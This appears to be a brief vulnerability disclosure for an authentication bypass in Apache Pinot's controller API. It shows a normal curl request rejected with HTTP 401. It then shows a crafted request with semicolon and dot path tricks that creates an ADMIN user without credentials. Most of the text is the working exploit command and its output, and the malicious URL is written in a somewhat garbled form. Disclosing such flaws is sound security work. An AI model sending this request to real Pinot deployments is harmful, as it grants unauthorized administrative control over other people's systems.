Authentication Bypass Issue
If the path does not contain / and contain., authentication is not required.
Expected Normal Request and Response Example
curl -X POST -H "Content-Type: application/json" -d {"username":"hack2","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"} http://{server_ip}:9000/users
Return: {"code":401,"error":"HTTP 401 Unauthorized"}
Malicious Request and Response Example
curl -X POST -H "Content-Type: application/json" -d '{"username":"hack","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .
Return: {"users":{}}
A new user gets added bypassing authentication, enabling the user to control Pinot.
